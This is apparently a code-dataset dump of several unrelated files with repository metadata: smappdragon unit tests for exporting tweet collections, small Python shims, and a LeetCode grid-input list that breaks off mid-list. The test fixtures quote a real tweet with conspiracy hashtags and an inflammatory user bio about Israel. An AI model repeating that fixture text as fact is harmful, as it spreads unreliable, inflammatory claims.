0
0
0
1
0
0
0
0
8
b27d69933e9877ca31d30e3bfc03ce0fd72063da
19,713
py
Python
test/test_base_collection.py
SMAPPNYU/smappdragon
99c89a93e84ed7d70dd93dc98708c4a2f016ac44
[ "MIT" ]
27
2016-02-27T03:42:21.000Z
2021-11-16T23:24:17.000Z
test/test_base_collection.py
SMAPPNYU/smappdragon
99c89a93e84ed7d70dd93dc98708c4a2f016ac44
[ "MIT" ]
30
2016-03-11T18:56:50.000Z
2018-03-27T19:33:41.000Z
test/test_base_collection.py
SMAPPNYU/smappdragon
99c89a93e84ed7d70dd93dc98708c4a2f016ac44
[ "MIT" ]
4
2016-07-14T15:41:49.000Z
2019-09-28T07:36:23.000Z
import os import csv import sqlite3 import unittest from bson import json_util from test.config import config from smappdragon import BsonCollection, MongoCollection, JsonCollection, CsvCollection class TestBaseCollection(unittest.TestCase): def test_limit_is_set(self): collection = BsonCollection(os.path.dirname(os.path.realpath(__file__)) +'/'+ config['bson']['valid']) collection.set_limit(5) self.assertEqual(5, collection.limit) collection.set_limit(0) def test_limit_actually_limits(self): collection = BsonCollection(os.path.dirname(os.path.realpath(__file__)) +'/'+ config['bson']['valid']) collection.get_iterator() count = len(list(tweet for tweet in collection.set_limit(5).get_iterator())) self.assertEqual(5, count) def test_filter_is_set(self): collection = BsonCollection(os.path.dirname(os.path.realpath(__file__)) +'/'+ config['bson']['valid']) collection.set_filter({'a':'b', 'c':'d', 'e':{'f':'g', 'h':'i'}}) self.assertEqual(collection.filter, {'a':'b', 'c':'d', 'e':{'f':'g', 'h':'i'}}) def test_dump_to_bson_dumps(self): if os.path.exists(os.path.dirname(os.path.abspath(__file__))+'/data/output.bson'): os.remove(os.path.dirname(os.path.abspath(__file__))+'/data/output.bson') output_path = os.path.dirname(os.path.realpath(__file__)) + '/' + 'data/output.bson' collection = BsonCollection(os.path.dirname(os.path.realpath(__file__)) +'/'+ config['bson']['valid']) collection.dump_to_bson(output_path) self.assertTrue(os.path.getsize(output_path) > 0) if os.path.exists(os.path.dirname(os.path.abspath(__file__))+'/data/output.bson'): os.remove(os.path.dirname(os.path.abspath(__file__))+'/data/output.bson') def test_dump_to_json_dumps(self): if os.path.exists(os.path.dirname(os.path.abspath(__file__))+'/data/output.bson.json'): os.remove(os.path.dirname(os.path.abspath(__file__))+'/data/output.bson.json') output_path = os.path.dirname(os.path.realpath(__file__)) + '/' + 'data/output.bson.json' collection = BsonCollection(os.path.dirname(os.path.realpath(__file__)) +'/'+ config['bson']['valid']) collection.dump_to_json(output_path) self.assertTrue(os.path.getsize(output_path) > 0) if os.path.exists(os.path.dirname(os.path.abspath(__file__))+'/data/output.bson.json'): os.remove(os.path.dirname(os.path.abspath(__file__))+'/data/output.bson.json') def test_dump_to_csv_orders_and_encodes_properly(self): if os.path.exists(os.path.dirname(os.path.abspath(__file__))+'/data/output.csv'): os.remove(os.path.dirname(os.path.abspath(__file__))+'/data/output.csv') output_path = os.path.dirname(os.path.realpath(__file__)) + '/' + 'data/output.csv' collection = JsonCollection(os.path.dirname(os.path.realpath(__file__)) +'/'+ config['json']['valid-single']) collection.dump_to_csv(output_path, ['id_str', 'entities.hashtags.0.text', 'entities.hashtags.1.text', 'source', 'user.id', 'timestamp.$date', 'text']) with open(os.path.dirname(os.path.abspath(__file__))+'/data/output.csv', 'r') as filehandle: count = 0 for line in csv.reader(filehandle): if count != 0: val_count = 0 for csv_row_value in line: everything_in_order = True if val_count == 0: self.assertEqual(csv_row_value, '661275583813431296') elif val_count == 1: if csv_row_value != 'jadehelm': everything_in_order = False elif val_count == 2: if csv_row_value != 'newworldorder': everything_in_order = False elif val_count == 3: self.assertEqual(csv_row_value, '<a href="https://twitter.com/Col_Connaughton" rel="nofollow">Colin\'s Autotweeterpro5.3</a>') elif val_count == 4: self.assertEqual(csv_row_value, '379851447') elif val_count == 5: self.assertEqual(csv_row_value, '2015-11-02 20:15:59+00:00') elif val_count == 6: self.assertEqual(csv_row_value, 'Susan Lindauer, Rtd US Army LTC Potter: Jade Helm https://t.co/VA4bQRudLt #jadehelm #newworldorder #usa #tyranny #threat') if everything_in_order: self.assertTrue(True) val_count += 1 else: count += 1 if os.path.exists(os.path.dirname(os.path.abspath(__file__))+'/data/output.csv'): os.remove(os.path.dirname(os.path.abspath(__file__))+'/data/output.csv') def test_dump_to_csv_dumps(self): if os.path.exists(os.path.dirname(os.path.abspath(__file__))+'/data/output.csv'): os.remove(os.path.dirname(os.path.abspath(__file__))+'/data/output.csv') field_list = ['id_str', 'coordinates.coordinates.0', 'coordinates.coordinates.1', 'user.id_str', 'user.lang', 'lang', 'text', 'user.screen_name', 'user.location', 'user.description', 'created_at', 'user.friends_count', 'user.followers_count', 'retweet_count', 'entities.urls.0.expanded_url', 'entities.urls.1.expanded_url', 'entities.urls.2.expanded_url', 'entities.urls.3.expanded_url', 'entities.urls.4.expanded_url', 'entities.hashtags.0.text', 'entities.hashtags.1.text'] output_path = os.path.dirname(os.path.realpath(__file__)) + '/' + 'data/output.csv' collection = BsonCollection(os.path.dirname(os.path.realpath(__file__)) +'/'+ config['bson']['valid']) collection.dump_to_csv(output_path, field_list) self.assertTrue(os.path.getsize(output_path) > 0) if os.path.exists(os.path.dirname(os.path.abspath(__file__))+'/data/output.csv'): os.remove(os.path.dirname(os.path.abspath(__file__))+'/data/output.csv') def test_dump_to_sqlite_db_dumps(self): if os.path.exists(os.path.dirname(os.path.abspath(__file__))+'/data/output.db'): os.remove(os.path.dirname(os.path.abspath(__file__))+'/data/output.db') field_list = ['id_str', 'coordinates.coordinates.0', 'coordinates.coordinates.1', 'user.id_str', 'user.lang', 'lang', 'text', 'user.screen_name', 'user.location', 'user.description', 'created_at', 'user.friends_count', 'user.followers_count', 'retweet_count', 'entities.urls.0.expanded_url', 'entities.urls.1.expanded_url', 'entities.urls.2.expanded_url', 'entities.urls.3.expanded_url', 'entities.urls.4.expanded_url', 'entities.hashtags.0.text', 'entities.hashtags.1.text'] output_path = os.path.dirname(os.path.realpath(__file__)) + '/' + 'data/output.db' collection = BsonCollection(os.path.dirname(os.path.realpath(__file__)) +'/'+ config['bson']['valid']) collection.dump_to_sqlite_db(output_path, field_list) self.assertTrue(os.path.getsize(output_path) > 0) if os.path.exists(os.path.dirname(os.path.abspath(__file__))+'/data/output.db'): os.remove(os.path.dirname(os.path.abspath(__file__))+'/data/output.db') def test_dump_to_sqlite_db_dumps_the_right_stuff(self): if os.path.exists(os.path.dirname(os.path.abspath(__file__))+'/data/output.db'): os.remove(os.path.dirname(os.path.abspath(__file__))+'/data/output.db') field_list = ['id_str', 'coordinates.coordinates.0', 'coordinates.coordinates.1', 'user.id_str', 'user.lang', 'lang', 'text', 'user.screen_name', 'user.location', 'user.description', 'created_at', 'user.friends_count', 'user.followers_count', 'retweet_count', 'entities.urls.0.expanded_url', 'entities.urls.1.expanded_url', 'entities.urls.2.expanded_url', 'entities.urls.3.expanded_url', 'entities.urls.4.expanded_url', 'entities.hashtags.0.text', 'entities.hashtags.1.text'] output_path = os.path.dirname(os.path.realpath(__file__)) + '/' + 'data/output.db' collection = BsonCollection(os.path.dirname(os.path.realpath(__file__)) +'/'+ config['bson']['valid']) collection.dump_to_sqlite_db(output_path, field_list) con = sqlite3.connect(output_path) cur = con.cursor() row = [elem for row in cur.execute("SELECT * FROM data LIMIT 1;") for elem in row ] con.close() self.assertTrue(len(row) > 0) self.assertEqual(set(row), set(['661275583813431296', 'NULL', 'NULL', '379851447', 'en', 'de', 'Susan Lindauer, Rtd US Army LTC Potter: Jade Helm https://t.co/VA4bQRudLt #jadehelm #newworldorder #usa #tyranny #threat', 'Col_Connaughton', 'London UK', '#gaza #palestine #israel #BDS MAD EVIL ISRAEL MURDERS BABIES CIVILIANS to STEAL PALESTINIAN LAND RESOURCES with USA UK HELP. To stop my tweets, BLOCK or MUTE me', 'Mon Nov 02 20:15:59 +0000 2015', 2019, 3159, 0, 'https://www.youtube.com/watch?v=0nJqymxVpwc', 'NULL', 'NULL', 'NULL', 'NULL', 'jadehelm', 'newworldorder'])) if os.path.exists(os.path.dirname(os.path.abspath(__file__))+'/data/output.db'): os.remove(os.path.dirname(os.path.abspath(__file__))+'/data/output.db') def test_dump_to_csv_dumps_with_top_level(self): if os.path.exists(os.path.dirname(os.path.abspath(__file__))+'/data/output.csv'): os.remove(os.path.dirname(os.path.abspath(__file__))+'/data/output.csv') field_list = ['id_str', 'coordinates.coordinates.0', 'coordinates.coordinates.1', 'user.id_str', 'user.lang', 'lang', 'text', 'user.screen_name', 'user.location', 'user.description', 'created_at', 'user.friends_count', 'user.followers_count', 'retweet_count', 'entities.urls.0.expanded_url', 'entities.urls.1.expanded_url', 'entities.urls.2.expanded_url', 'entities.urls.3.expanded_url', 'entities.urls.4.expanded_url', 'entities.hashtags.0.text', 'entities.hashtags.1.text'] output_path = os.path.dirname(os.path.realpath(__file__)) + '/' + 'data/output.csv' collection = CsvCollection(os.path.dirname(os.path.realpath(__file__)) +'/'+ config['csv']['valid']) collection.dump_to_csv(output_path, field_list, top_level=True) self.assertTrue(os.path.getsize(output_path) > 0) if os.path.exists(os.path.dirname(os.path.abspath(__file__))+'/data/output.csv'): os.remove(os.path.dirname(os.path.abspath(__file__))+'/data/output.csv') def test_dump_to_csv_dumps_right_stuff_with_top_level(self): if os.path.exists(os.path.dirname(os.path.abspath(__file__))+'/data/output.csv'): os.remove(os.path.dirname(os.path.abspath(__file__))+'/data/output.csv') field_list = ['id_str', 'entities.hashtags.0', 'entities.hashtags.1', 'source', 'user.id', 'timestamp.$date', 'text', 'coordinates.coordinates.0', 'coordinates.coordinates.1', 'user.id_str', 'user.lang', 'lang', 'user.screen_name', 'user.location', 'user.description', 'created_at', 'user.friends_count', 'user.followers_count', 'retweet_count', 'entities.urls.0.expanded_url', 'entities.urls.1.expanded_url', 'entities.urls.2.expanded_url', 'entities.urls.3.expanded_url', 'entities.urls.4.expanded_url', 'entities.hashtags.0.text', 'entities.hashtags.1.text'] output_path = os.path.dirname(os.path.realpath(__file__)) + '/' + 'data/output.csv' collection = CsvCollection(os.path.dirname(os.path.realpath(__file__)) +'/'+ config['csv']['valid']) collection.dump_to_csv(output_path, field_list, top_level=True) with open(os.path.dirname(os.path.abspath(__file__))+'/data/output.csv', 'r') as filehandle: count = 0 for line in csv.reader(filehandle): if count != 0: val_count = 0 for csv_row_value in line: everything_in_order = True if val_count == 0: self.assertEqual(csv_row_value, '661275583813431296') elif val_count == 1: if csv_row_value != 'jadehelm': everything_in_order = False elif val_count == 2: if csv_row_value != 'newworldorder': everything_in_order = False elif val_count == 3: self.assertEqual(csv_row_value, '<a href="https://twitter.com/Col_Connaughton" rel="nofollow">Colin\'s Autotweeterpro5.3</a>') elif val_count == 4: self.assertEqual(csv_row_value, '379851447') elif val_count == 5: self.assertEqual(csv_row_value, '1446495359000') elif val_count == 6: self.assertEqual(csv_row_value, 'Susan Lindauer, Rtd US Army LTC Potter: Jade Helm https://t.co/VA4bQRudLt #jadehelm #newworldorder #usa #tyranny #threat') if everything_in_order: self.assertTrue(True) val_count += 1 else: count += 1 if os.path.exists(os.path.dirname(os.path.abspath(__file__))+'/data/output.csv'): os.remove(os.path.dirname(os.path.abspath(__file__))+'/data/output.csv') def test_dump_to_sqlite_db_dumps_the_right_stuff_with_top_level(self): if os.path.exists(os.path.dirname(os.path.abspath(__file__))+'/data/output.db'): os.remove(os.path.dirname(os.path.abspath(__file__))+'/data/output.db') field_list = ['id_str', 'entities.hashtags.0', 'entities.hashtags.1', 'source', 'user.id', 'timestamp.$date', 'text', 'coordinates.coordinates.0', 'coordinates.coordinates.1', 'user.id_str', 'user.lang', 'lang', 'user.screen_name', 'user.location', 'user.description', 'created_at', 'user.friends_count', 'user.followers_count', 'retweet_count', 'entities.urls.0.expanded_url', 'entities.urls.1.expanded_url', 'entities.urls.2.expanded_url', 'entities.urls.3.expanded_url', 'entities.urls.4.expanded_url', 'entities.hashtags.0.text', 'entities.hashtags.1.text'] output_path = os.path.dirname(os.path.realpath(__file__)) + '/' + 'data/output.db' collection = CsvCollection(os.path.dirname(os.path.realpath(__file__)) +'/'+ config['csv']['valid']) collection.dump_to_sqlite_db(output_path, field_list, top_level=True) con = sqlite3.connect(output_path) cur = con.cursor() row = [elem for row in cur.execute("SELECT * FROM data LIMIT 1;") for elem in row] con.close() self.assertTrue(len(row) > 0) self.assertEqual(set(row), set(['661275583813431296', '{"indices": [74, 83], "text": "jadehelm"}', '{"indices": [84, 98], "text": "newworldorder"}', '<a href="https://twitter.com/Col_Connaughton" rel="nofollow">Colin\'s Autotweeterpro5.3</a>', '379851447', '1446495359000', 'Susan Lindauer, Rtd US Army LTC Potter: Jade Helm https://t.co/VA4bQRudLt #jadehelm #newworldorder #usa #tyranny #threat', 'NULL', 'NULL', 'NULL', 'NULL', 'NULL', 'NULL', 'NULL', 'NULL', 'NULL', 'NULL', 'NULL', 'NULL', 'NULL', 'NULL', 'NULL', 'NULL', 'NULL', 'NULL', 'NULL'])) if os.path.exists(os.path.dirname(os.path.abspath(__file__))+'/data/output.db'): os.remove(os.path.dirname(os.path.abspath(__file__))+'/data/output.db') def test_set_custom_filter_is_set(self): collection = BsonCollection(os.path.dirname(os.path.realpath(__file__)) +'/'+ config['bson']['valid']) def is_tweet_a_retweet(tweet): if 'retweeted' in tweet and tweet['retweeted']: return True else: return False collection.set_custom_filter(is_tweet_a_retweet) self.assertTrue(len(collection.custom_filters) == 1) def test_set_custom_filter_is_not_double_set(self): collection = BsonCollection(os.path.dirname(os.path.realpath(__file__)) +'/'+ config['bson']['valid']) def is_tweet_a_retweet(tweet): if 'retweeted' in tweet and tweet['retweeted']: return True else: return False collection.set_custom_filter(is_tweet_a_retweet) self.assertFalse(len(collection.custom_filters) > 1) def test_collection_filters_custom_filter_filters_something(self): collection = BsonCollection(os.path.dirname(os.path.realpath(__file__)) +'/'+ config['bson']['valid']) long_len = len(list(collection.get_iterator())) def is_tweet_a_retweet(tweet): if 'retweeted' in tweet and tweet['retweeted']: return True else: return False collection.set_custom_filter(is_tweet_a_retweet) shorter_len = len(list(collection.get_iterator())) #there should be fewer retweets than all tweets. self.assertTrue(long_len > shorter_len) def test_collection_filters_custom_filter_properly_applies_filter(self): collectionone = BsonCollection(os.path.dirname(os.path.realpath(__file__)) +'/'+ config['bson']['valid']) full_collection_len = len(list(collectionone.get_iterator())) def is_tweet_a_retweet(tweet): if 'retweeted' in tweet and tweet['retweeted']: return True else: return False num_retweets = len(list(collectionone.set_custom_filter(is_tweet_a_retweet).get_iterator())) collectiontwo = BsonCollection(os.path.dirname(os.path.realpath(__file__)) +'/'+ config['bson']['valid']) def is_not_a_retweet(tweet): if 'retweeted' in tweet and tweet['retweeted']: return False else: return True num_non_retweets = len(list(collectiontwo.set_custom_filter(is_not_a_retweet).get_iterator())) #the numbes of retweets and non retweets should add up to the whole collection self.assertEqual(num_retweets + num_non_retweets, full_collection_len) def test_strip_tweets_strips_many_tweets_totally(self): collectionone = BsonCollection(os.path.dirname(os.path.realpath(__file__)) +'/'+ config['bson']['valid']) iterator = collectionone.strip_tweets([]).get_iterator() first_tweet = next(iterator) second_tweet = next(iterator) #exhaust the iterator len(list(iterator)) self.assertTrue(first_tweet == {} and second_tweet == {}) if __name__ == '__main__': unittest.main()
47.731235
581
0.607315
2,380
19,713
4.759244
0.102941
0.081045
0.074601
0.086078
0.863071
0.858833
0.84047
0.830758
0.823784
0.823519
0
0.020124
0.246284
19,713
412
582
47.847087
0.742226
0.007305
0
0.824022
0
0.036313
0.244864
0.084228
0
0
0
0
0.081006
1
0.061453
false
0
0.019553
0
0.111732
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
b28e807646c2f82a626558bc18fc7733f6769e3a
149
py
Python
pytorch_toolbelt/utils/catalyst_utils.py
ternaus/pytorch-toolbelt
a952882bae1ded4f9a583cbdf87ba6f335ef3abf
[ "MIT" ]
3
2019-10-02T04:05:57.000Z
2020-01-13T02:26:09.000Z
pytorch_toolbelt/utils/catalyst_utils.py
ternaus/pytorch-toolbelt
a952882bae1ded4f9a583cbdf87ba6f335ef3abf
[ "MIT" ]
null
null
null
pytorch_toolbelt/utils/catalyst_utils.py
ternaus/pytorch-toolbelt
a952882bae1ded4f9a583cbdf87ba6f335ef3abf
[ "MIT" ]
1
2019-12-02T05:40:03.000Z
2019-12-02T05:40:03.000Z
import warnings from pytorch_toolbelt.utils.catalyst import * warnings.warn('Please use \'from pytorch_toolbelt.utils.catalyst import *\' instead')
29.8
85
0.805369
19
149
6.210526
0.578947
0.237288
0.322034
0.40678
0.644068
0.644068
0
0
0
0
0
0
0.09396
149
4
86
37.25
0.874074
0
0
0
0
0
0.134228
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
b2912aa53830b14548046ec68cc392a0db9d45ed
251
py
Python
Chamak/Foundation/Request.py
LaravelPython/framework
35bb64816731b360e2296dccbbb8523352190d23
[ "MIT" ]
1
2019-10-18T05:31:40.000Z
2019-10-18T05:31:40.000Z
Chamak/Foundation/Request.py
LaravelPython/framework
35bb64816731b360e2296dccbbb8523352190d23
[ "MIT" ]
null
null
null
Chamak/Foundation/Request.py
LaravelPython/framework
35bb64816731b360e2296dccbbb8523352190d23
[ "MIT" ]
null
null
null
from Chamak.Foundation.app import Application class Request: @staticmethod def uri(): return Application.get('env')['PATH_INFO'].strip('/') @staticmethod def method(): return Application.get('env')['REQUEST_METHOD']
20.916667
61
0.657371
27
251
6.037037
0.666667
0.184049
0.245399
0.282209
0
0
0
0
0
0
0
0
0.203187
251
11
62
22.818182
0.815
0
0
0.25
0
0
0.119522
0
0
0
0
0
0
1
0.25
true
0
0.125
0.25
0.75
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
0
1
1
0
0
7
a22cda907081336731de8e470ac80b189a3ff655
102,028
py
Python
934.shortest-bridge/data.py
eavelardev/my-leetcode-solutions
d0723725fd94bdd2dfc8712468aba4f0f679353f
[ "MIT" ]
null
null
null
934.shortest-bridge/data.py
eavelardev/my-leetcode-solutions
d0723725fd94bdd2dfc8712468aba4f0f679353f
[ "MIT" ]
null
null
null
934.shortest-bridge/data.py
eavelardev/my-leetcode-solutions
d0723725fd94bdd2dfc8712468aba4f0f679353f
[ "MIT" ]
null
null
null
# 70 inputs = [ [[0,1],[1,0]], [[0,1,0],[0,0,0],[0,0,1]], [[1,1,1,1,1],[1,0,0,0,1],[1,0,1,0,1],[1,0,0,0,1],[1,1,1,1,1]], [[0,1,0,0,0],[0,1,0,1,1],[0,0,0,0,1],[0,0,0,0,0],[0,0,0,0,0]], [[0,0,1,0,1],[0,1,1,0,1],[0,1,0,0,1],[0,0,0,0,0],[0,0,0,0,0]], [[1,1,0,0,0],[1,0,0,0,0],[1,0,0,0,0],[0,0,0,1,1],[0,0,0,1,1]], [[0,0,0,1,1],[0,0,0,1,0],[0,0,0,1,1],[0,0,1,0,1],[0,0,1,1,0]], [[0,1,0,0,0,0],[0,1,1,1,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[1,1,0,0,0,0]], [[0,0,0,0,0,0],[0,1,0,0,0,0],[1,1,0,0,0,0],[1,1,0,0,0,0],[0,0,0,0,0,0],[0,0,1,1,0,0]], [[0,1,0,1,1,0],[0,0,1,1,1,0],[0,0,1,0,0,0],[0,0,1,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]], [[1,1,0,0,0,0],[0,1,0,0,0,0],[1,0,0,0,0,0],[1,1,1,0,0,0],[1,1,0,0,0,0],[0,0,0,0,0,0]], [[0,0,1,1,1,1],[0,0,1,0,1,0],[0,0,0,1,0,0],[0,0,0,1,1,0],[0,0,0,0,1,0],[0,0,0,0,0,0]], [[1,0,1,1,1,0],[0,1,1,1,0,0],[1,1,1,0,0,0],[0,1,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]], [[0,0,0,1,1,0,0],[0,0,0,1,0,0,0],[0,0,0,1,0,0,0],[0,0,0,0,0,0,0],[0,0,0,0,0,0,0],[0,1,0,0,0,0,0],[0,1,1,0,0,0,0]], [[0,0,0,0,0,0,0],[1,0,0,0,0,0,0],[1,0,0,0,0,0,0],[1,1,0,0,0,0,0],[0,1,0,1,1,1,0],[0,0,0,0,0,0,0],[0,0,0,0,0,0,0]], [[0,0,0,0,0,0,0],[0,1,0,0,0,0,0],[0,1,1,0,0,0,0],[0,1,1,0,0,0,0],[0,0,0,0,0,0,0],[1,1,0,0,0,0,0],[1,1,0,0,0,0,0]], [[0,0,0,0,0,0,0],[0,0,0,0,0,0,0],[0,0,0,0,0,0,0],[0,0,0,0,1,0,0],[0,0,0,0,1,0,0],[1,1,0,1,1,0,0],[1,1,0,1,1,0,0]], [[0,0,0,0,0,0,0],[1,0,0,1,0,0,0],[1,1,1,1,0,0,0],[0,0,0,1,0,0,0],[1,0,0,0,0,0,0],[1,1,0,0,0,0,0],[1,0,0,0,0,0,0]], [[0,1,1,1,1,0,0],[0,0,1,1,0,0,0],[0,1,1,0,0,0,0],[0,0,0,0,0,0,0],[0,1,1,0,0,0,0],[1,1,0,0,0,0,0],[0,0,0,0,0,0,0]], [[1,1,1,1,0,0,0],[0,1,0,1,0,0,0],[0,0,0,0,0,0,0],[1,1,1,1,0,0,0],[1,1,1,0,0,0,0],[0,0,0,0,0,0,0],[0,0,0,0,0,0,0]], [[0,0,0,0,0,0,0,0],[0,0,0,0,1,0,0,0],[0,0,0,0,1,1,0,0],[0,0,0,1,1,0,1,0],[0,0,0,0,0,1,1,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0]], [[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,1,0,1,1,0],[0,0,0,1,0,1,1,0],[0,0,0,1,1,0,1,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0]], [[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,0],[0,0,1,1,0,0,1,1],[0,0,0,1,1,0,0,1],[0,0,1,1,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0]], [[0,0,0,1,0,0,0,1],[0,0,0,1,1,0,1,1],[0,1,1,1,0,0,1,1],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0]], [[1,1,0,0,0,0,0,0],[0,1,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,1,1,0,0],[0,0,0,1,1,0,0,0],[0,0,0,1,1,1,0,0],[0,0,0,0,0,1,1,0],[0,0,0,0,0,0,0,0]], [[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,1,1,0,0],[0,0,0,0,1,1,0,0],[0,0,0,1,1,0,0,0],[0,0,0,1,0,1,0,0],[0,0,0,0,1,1,1,0],[0,0,0,0,1,1,0,0]], [[0,0,0,1,1,1,1,0],[0,0,1,1,1,1,0,1],[0,0,0,0,0,0,1,1],[0,0,0,0,0,0,1,1],[0,0,0,0,0,0,1,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0]], [[0,0,0,0,0,0,0,0],[1,0,0,0,0,0,0,0],[1,0,0,1,0,1,0,1],[1,1,0,1,1,1,1,1],[1,1,0,0,1,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0]], [[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,1,1,0,1,0,0],[0,0,0,1,0,0,1,1,0],[0,0,0,0,0,1,1,0,0],[0,0,0,0,0,1,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0]], [[0,0,0,0,0,0,0,1,1],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,0,0],[0,0,0,0,0,1,1,1,0],[0,0,0,0,0,0,1,1,0],[0,0,0,0,0,0,1,1,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0]], [[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,1,0,0,0,0,0],[0,0,0,1,0,0,0,0,0],[0,0,0,1,1,0,0,0,0],[1,1,1,0,1,1,0,0,0],[0,1,1,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0]], [[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,1],[0,0,0,0,0,0,0,1,1],[0,0,0,0,0,0,0,1,1],[0,0,0,0,0,0,0,0,1],[0,1,0,0,0,0,0,0,0],[1,1,1,0,0,0,0,0,0],[1,1,0,0,0,0,0,0,0]], [[0,0,1,1,1,1,0,0,0],[0,0,0,0,1,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,1,0],[0,0,0,0,0,0,0,1,1],[0,0,0,0,0,0,0,1,1],[0,0,0,0,0,0,1,1,0]], [[0,0,0,1,0,0,0,0,0],[0,1,1,1,1,0,0,0,0],[0,0,0,1,1,0,0,0,0],[0,0,0,1,0,1,1,0,0],[0,0,0,0,1,1,1,1,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0]], [[1,1,1,1,0,0,0,0,0],[1,0,0,0,0,0,0,0,0],[1,0,1,1,1,1,0,0,0],[1,1,0,1,0,0,0,0,0],[0,1,0,1,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0]], [[1,1,0,1,1,1,1,1,1],[1,1,0,1,1,0,0,0,0],[1,1,0,1,0,0,0,0,0],[1,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0]], [[0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,1],[0,0,0,0,0,0,0,0,1,1],[0,0,0,0,0,0,0,1,1,1],[0,0,0,0,0,1,0,1,1,1],[0,0,0,0,1,1,0,0,0,1],[0,0,0,1,1,1,0,0,0,0],[0,0,0,0,1,1,0,0,0,0],[0,0,0,0,1,1,0,0,0,0]], [[0,0,0,0,1,1,1,1,1,1],[1,1,0,0,1,1,1,0,0,0],[1,1,0,0,1,1,1,0,0,0],[1,1,1,0,1,1,0,0,0,0],[1,1,1,1,0,1,1,0,0,0],[0,1,0,1,0,1,0,0,0,0],[0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0]], [[1,0,1,1,0,0,0,0,0,0],[1,1,1,1,1,1,0,0,0,0],[0,1,1,0,1,1,0,0,0,0],[0,0,1,1,0,0,0,0,0,0],[0,0,1,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,1,1],[0,0,0,0,0,0,0,1,1,1],[0,0,0,0,0,0,1,1,1,1],[0,0,0,0,0,1,1,1,1,1]], [[1,1,0,1,0,0,1,1,0,0],[0,1,1,1,1,1,1,1,0,0],[0,0,1,0,1,1,0,0,0,0],[0,0,0,1,1,0,1,1,0,0],[0,0,0,1,0,0,1,0,1,0],[0,0,0,0,1,1,1,1,1,1],[0,0,0,0,1,1,1,0,1,0],[0,0,0,0,1,1,1,1,1,0],[0,0,0,0,0,1,1,0,0,0],[0,0,0,0,0,0,1,0,0,0]], [[0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0],[0,0,0,0,1,0,0,0,0,0],[0,1,1,1,1,0,0,1,0,0],[1,1,1,1,1,1,1,1,1,0],[0,1,1,1,1,1,1,1,1,0],[1,0,1,1,1,1,1,1,1,0],[1,1,0,1,1,1,1,1,1,1]], [[1,1,1,0,1,0,0,1,0,0],[0,0,1,1,1,0,0,1,1,0],[1,1,1,1,0,1,0,1,1,0],[1,1,1,1,0,1,1,1,1,1],[1,1,1,1,1,0,1,1,1,1],[1,1,1,0,0,0,0,0,1,1],[1,1,0,0,0,0,1,1,1,1],[1,0,0,0,0,0,0,0,0,1],[1,0,0,0,0,0,0,0,0,1],[0,0,0,0,0,0,0,0,0,0]], 